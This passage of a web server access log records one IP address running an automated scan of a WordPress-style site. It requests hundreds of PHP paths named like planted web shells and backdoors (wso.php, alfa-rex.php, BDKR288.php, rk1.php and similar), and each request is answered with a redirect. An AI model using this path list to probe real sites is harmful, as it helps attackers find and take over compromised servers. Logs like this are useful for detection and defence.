"GET /pr1vdayz.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:00 +0330] "GET /ps.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:05 +0330] "GET /psm.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:15 +0330] "GET /rus.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:34 +0330] "GET /media/wsraw.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:44 +0330] "GET /we.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:49 +0330] "GET /asd67.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:54 +0330] "GET /wp-sx-generator.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:58 +0330] "GET /wp-admin/js/widgets/pp.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:06 +0330] "GET /wp-admin/js/widgets/foter.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:17 +0330] "GET /wp-admin/js/widgets/icon.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:20 +0330] "GET /wp-admin/js/widgets/wincust.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:28 +0330] "GET /contact.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:37 +0330] "GET /foter.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:45 +0330] "GET /lock360.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:00 +0330] "GET /great.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:07 +0330] "GET /idea.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:11 +0330] "GET /massd.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:13 +0330] "GET /assalamu.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:17 +0330] "GET /lucuuu.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:33 +0330] "GET /wp-includes/sitemaps/rz.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:08 +0330] "GET /wp-admin/includes/theme-install.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:13 +0330] "GET /wp-admin/maint/siteone.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:17 +0330] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:22 +0330] "GET /uploads/1337.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:26 +0330] "GET /uploads/lyns.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:29 +0330] "GET /uploads/site2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:36 +0330] "GET /wp-admin/css/colors/midnight/gmail.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:06 +0330] "GET /images/alumni_reg.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:09 +0330] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:41 +0330] "GET /service.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:49 +0330] "GET /icon.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:53 +0330] "GET /pp.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:57 +0330] "GET /content.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:04 +0330] "GET /dbgius.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:19 +0330] "GET /superbypass.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:24 +0330] "GET /underspell.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:27 +0330] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:29 +0330] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:45 +0330] "GET /.well-known/save.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:49 +0330] "GET /wp-admin/includes/port.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:54 +0330] "GET /wp-admin/includes/media.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:04:59 +0330] "GET /wp-admin/includes/plugin-install.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:03 +0330] "GET /wp-admin/includes/template.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:15 +0330] "GET /wp-includes/hel.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:19 +0330] "GET /wp-includes/feed-rsss.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:33 +0330] "GET /wp-admin/js/let.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:46 +0330] "GET /wp-admin/css/wp-admins.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:05:58 +0330] "GET /wp-admin/images/download.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:02 +0330] "GET /wp-admin/js/widgets/zip.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:12 +0330] "GET /wp-includes/ID3/module.audio-video.as.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:15 +0330] "GET /images/lightspped.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:26 +0330] "GET /wp-content/plugins/wordfence/ HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:40 +0330] "GET /wp-admin/includes/menu-cookie.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:43 +0330] "GET /wp-includes/embed-database.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:52 +0330] "GET /wp-includes/wp-class-db.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:55 +0330] "GET /wp-admin/css/colors/blue/VzlaTeam.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:08 +0330] "GET /wp-admin/css/colors/blue/ff.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:10 +0330] "GET /files/fopen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:26 +0330] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:41 +0330] "GET /wp-includes/x.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:46 +0330] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:56 +0330] "GET /wp-admin/includes/BDKR28_shell.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:09 +0330] "GET /wp-admin/includes/el.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:12 +0330] "GET /wp-includes/ID3/el.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:16 +0330] "GET /wp-includes/sitemaps/rz.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:19 +0330] "GET /files/icon.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:18 +0330] "GET /files/fileupload.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:22 +0330] "GET /axv.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:32 +0330] "GET /wp-admin/css/colors/blue/aurora%20(1).php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:35 +0330] "GET /wp-includes/css/babu.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:46 +0330] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:49 +0330] "GET /wp-admin/css/colors/ectoplasm/upload.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:06:58 +0330] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:02 +0330] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:14 +0330] "GET /.well-known/rest-api.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:18 +0330] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:23 +0330] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:30 +0330] "GET /wp-admin/maint/siteone.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:34 +0330] "GET /wp-admin/css/colors/blue/info.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:37 +0330] "GET /wp-admin/js/widgets/info.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:48 +0330] "GET /uploads/af32.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:07:53 +0330] "GET /uploads/bigdump.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:02 +0330] "GET /wp-admin/maint/techl.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:06 +0330] "GET /wp-admin/css/colors/light/browser.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:22 +0330] "GET /wp-includes/BDKR288.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:26 +0330] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:33 +0330] "GET /wp-includes/images/crystal/as.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:36 +0330] "GET /wp-includes/widgets/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:39 +0330] "GET /wp-includes/sitemaps/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:43 +0330] "GET /wp-includes/sitemaps/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:49 +0330] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:56 +0330] "GET /files.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:59 +0330] "GET /goods.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:05 +0330] "GET /abcd.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:12 +0330] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:16 +0330] "GET /bless.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:24 +0330] "GET /alx.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:27 +0330] "GET /wp-222.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:56 +0330] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:01 +0330] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:09 +0330] "GET /wp-includes/BDKR288.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:12 +0330] "GET /wp-admin/BDKR288.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:17 +0330] "GET /wp-admin/includes/BDKR288.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:23 +0330] "GET /wp-includes/widgets/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:27 +0330] "GET /wp-includes/sitemaps/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:30 +0330] "GET /wp-includes/sitemaps/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:37 +0330] "GET /error_log.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:44 +0330] "GET /wp-content/plugins/wordfence/rk3.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:48 +0330] "GET /wp-content/plugins/wordfence/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:55 +0330] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:57 +0330] "GET /wp-includes/images/admin.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:03 +0330] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:09 +0330] "GET /wp-content/.wp-content.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:17 +0330] "GET /wp-includes/IXR/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:28 +0330] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:31 +0330] "GET /wp-includes/widgets/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:34 +0330] "GET /wp-includes/widgets/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:38 +0330] "GET /wp-login-css.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:11 +0330] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:17 +0330] "GET /wp-includes/images/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:30 +0330] "GET /wp-includes/images/as.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:46 +0330] "GET /wp-includes/js/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:08:52 +0330] "GET /wp-includes/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:02 +0330] "GET /pre.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:09 +0330] "GET /edit.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:20 +0330] "GET /bengi.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:31 +0330] "GET /style.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:36 +0330] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:40 +0330] "GET /ss.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:44 +0330] "GET /wp-admin/css/colors/wp-kisaki.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:48 +0330] "GET /wp-login-css.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:09:52 +0330] "GET /security-ninja.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:04 +0330] "GET /wp-content/plugins/bcvvgjnhjk/ HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:20 +0330] "GET /wp-admin/css/BDKR288.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:33 +0330] "GET /1948.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:40 +0330] "GET /wp-content/plugins/wordfence/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:53 +0330] "GET /wp-content/plugins/wordfence/%20 HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:10:59 +0330] "GET /wp-includes/images/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:01 +0330] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:05 +0330] "GET /wp-includes/images/style.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:11 +0330] "GET /wp-content/.assets.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:13 +0330] "GET /wp-includes/IXR/230.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:20 +0330] "GET /wp-includes/IXR/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:24 +0330] "GET /wp-admin/maint/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:41 +0330] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:45 +0330] "GET /wp-admin/includes/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:47 +0330] "GET /wp-admin/includes/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:50 +0330] "GET /wp-admin/includes/info.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:53 +0330] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:11:57 +0330] "GET /wp-admin/js/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:01 +0330] "GET /wp-admin/includes/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:05 +0330] "GET /upp.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:09 +0330] "GET /bk.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:13 +0330] "GET /wp-includes/images/admin.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:19 +0330] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:22 +0330] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:25 +0330] "GET /wp-includes/images/style.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:30 +0330] "GET /wp-content/.wp-content.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:44 +0330] "GET /wp-admin/maint/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:46 +0330] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:49 +0330] "GET /wp-includes/widgets/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:55 +0330] "GET /wp-login-css.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:13 +0330] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:19 +0330] "GET /wp-admin/includes/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:21 +0330] "GET /wp-content/wp-themes.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:23 +0330] "GET /wp-content/fox.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:25 +0330] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:34 +0330] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:36 +0330] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:48 +0330] "GET /wp-admin/js/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:52 +0330] "GET /wp-admin/network/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:53 +0330] "GET /wp-admin/user/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:57 +0330] "GET /wp-content/uploads/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:58 +0330] "GET /wp-content/plugins/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:00 +0330] "GET /wp-content/languages/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:07 +0330] "GET /wp-content/languages/themes/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:09 +0330] "GET /wp-includes/SimplePie/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:11 +0330] "GET /wp-includes/certificates/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:13 +0330] "GET /wp-includes/customize/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:14 +0330] "GET /index/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:16 +0330] "GET /about/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:17 +0330] "GET /as/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:24 +0330] "GET /admin/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:28 +0330] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:32 +0330] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:33 +0330] "GET /wp-admin/includes/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:35 +0330] "GET /wp-admin/js/widgets/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:33 +0330] "GET /wp-content/.assets.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:36 +0330] "GET /wp-includes/IXR/230.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:39 +0330] "GET /wp-includes/IXR/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:42 +0330] "GET /wp-includes/IXR/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:53 +0330] "GET /wp-includes/widgets/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:12:58 +0330] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:01 +0330] "GET /wp-admin/includes/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:05 +0330] "GET /wp-admin/includes/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - 